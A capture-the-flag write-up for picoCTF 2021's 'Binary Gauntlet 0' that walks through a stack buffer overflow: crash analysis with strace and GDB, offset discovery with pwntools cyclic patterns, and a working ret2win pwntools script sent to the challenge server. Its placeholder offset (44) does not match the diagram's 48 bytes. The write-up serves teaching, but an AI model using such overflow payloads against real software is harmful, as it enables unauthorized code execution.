Binary Gauntlet 0 picoCTF 2021 Solution

Published: April 2, 2026

Description

Do you know enough to use a simple buffer overflow? Connect to the service and exploit a stack-based buffer overflow to call the win() function.

Download the binary for local analysis, then connect to the remote service to get the flag.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
nc mercury.picoctf.net <PORT_FROM_INSTANCE>
  1. Step 1Confirm the crash with strace, then jump into GDB
    Run the binary under strace with a long input to see exactly when it dies, then attach GDB to inspect register state at crash time.
    python
    python3 -c "print('A'*200)" | strace -f ./vuln 2>&1 | tail -30
    bash
    gdb -q ./vuln
    bash
    # (gdb) run <<< $(python3 -c "print('A'*200)")
    bash
    # (gdb) info registers   -- look at rip / rsp
    Learn more

    strace prints every syscall the process makes. A stack overflow that smashes the saved return address typically dies on the next instruction fetch with --- SIGSEGV (Segmentation fault) --- right after the read or gets that took your input. Seeing that timeline up front confirms the bug class before you start measuring offsets.

  2. Step 2Find the buffer overflow offset
    Use pwntools' cyclic pattern to determine how many bytes are needed to reach the saved return address.
    python
    python3 -c "from pwn import *; print(cyclic(200))" > pattern.txt
    bash
    gdb -q ./vuln -ex 'run < pattern.txt' -ex 'info registers' -ex 'quit'
    python
    python3 -c "from pwn import *; print(cyclic_find(0x6161616b))"  # Use the value found in $rsp/EIP
    Learn more

    A stack buffer overflow occurs when a program copies more data into a stack-allocated buffer than the buffer can hold. The excess bytes overwrite adjacent stack memory, including the saved return address - the address the function will jump to when it returns. By controlling the return address, an attacker can redirect execution to any function in the binary.

    Cyclic patterns (De Bruijn sequences) are non-repeating byte sequences where any N-byte subsequence appears exactly once. Feeding a cyclic pattern as input to a crashing program and reading the value in the instruction pointer (EIP/RIP) at crash time tells you exactly how many bytes were needed to reach the return address - the offset.

    pwntools is the standard Python library for CTF binary exploitation. cyclic(n) generates an n-byte De Bruijn pattern; cyclic_find(val) computes the offset from the pattern start to where the 4-byte value appears. For more on the cyclic-pattern offset workflow and a deeper buffer overflow walkthrough, see the buffer overflow guide and the pwntools guide.

  3. Step 3Find the win() function address
    Use objdump or pwntools ELF to find the address of the win() or flag-printing function in the binary.
    bash
    objdump -d vuln | grep -A5 '<win>'
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.sym['win']))"
    Learn more

    In a ret2win (return to win) challenge, the binary contains a function that prints the flag but is never called under normal execution. The exploit simply overwrites the return address with the address of this function. When the vulnerable function returns, execution jumps to win() instead of the legitimate caller.

    This works when ASLR (Address Space Layout Randomization) is disabled or when PIE (Position Independent Executable) is not enabled - meaning the binary loads at a fixed base address and function addresses are predictable. Use checksec vuln (from pwntools) to see which mitigations are active.

  4. Step 4Write and run the exploit
    Use pwntools to build and send the exploit payload: a padding buffer of the correct length followed by the win() address in little-endian format.
    python
    python3 - <<'EOF'
    from pwn import *
    
    # context.arch = 'amd64'  # or 'i386'
    e = ELF('./vuln')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    offset = 44  # Replace with actual offset from cyclic_find
    win_addr = e.sym['win']
    
    payload = b'A' * offset + p64(win_addr)  # p32() for 32-bit
    
    p.sendline(payload)
    p.interactive()
    EOF
    Learn more

    Stack at the moment vuln() is about to ret:

    high addr  +-------------------+
               | saved rip         |  <- payload[offset:offset+8]  -> win()
               +-------------------+
               | saved rbp         |  <- payload[offset-8:offset]
               +-------------------+
               | local var(s)      |
               +-------------------+
               | char buf[40]      |  <- payload[0:40]   "AAAA...AAAA"
    low addr   +-------------------+   rsp points here at gets()

    gets() writes from low to high address with no length check, so 48 bytes of A's fill buf + saved rbp and the next 8 bytes overwrite the saved return address. ret pops that 8-byte value into rip and jumps to it.

    Endianness. x86-64 is little-endian. An address like 0x0000000000401196 must hit memory as the byte string \x96\x11\x40\x00\x00\x00\x00\x00. p64() handles this; never type the bytes by hand or you will reverse them. For 32-bit, p32() emits 4 bytes.

Flag

picoCTF{...}

A classic ret2win: overwrite the return address with the win() function's address using a precisely sized overflow payload, redirecting execution without any code injection.

Want more picoCTF 2021 writeups?

Tools used in this challenge

Related reading

What to try next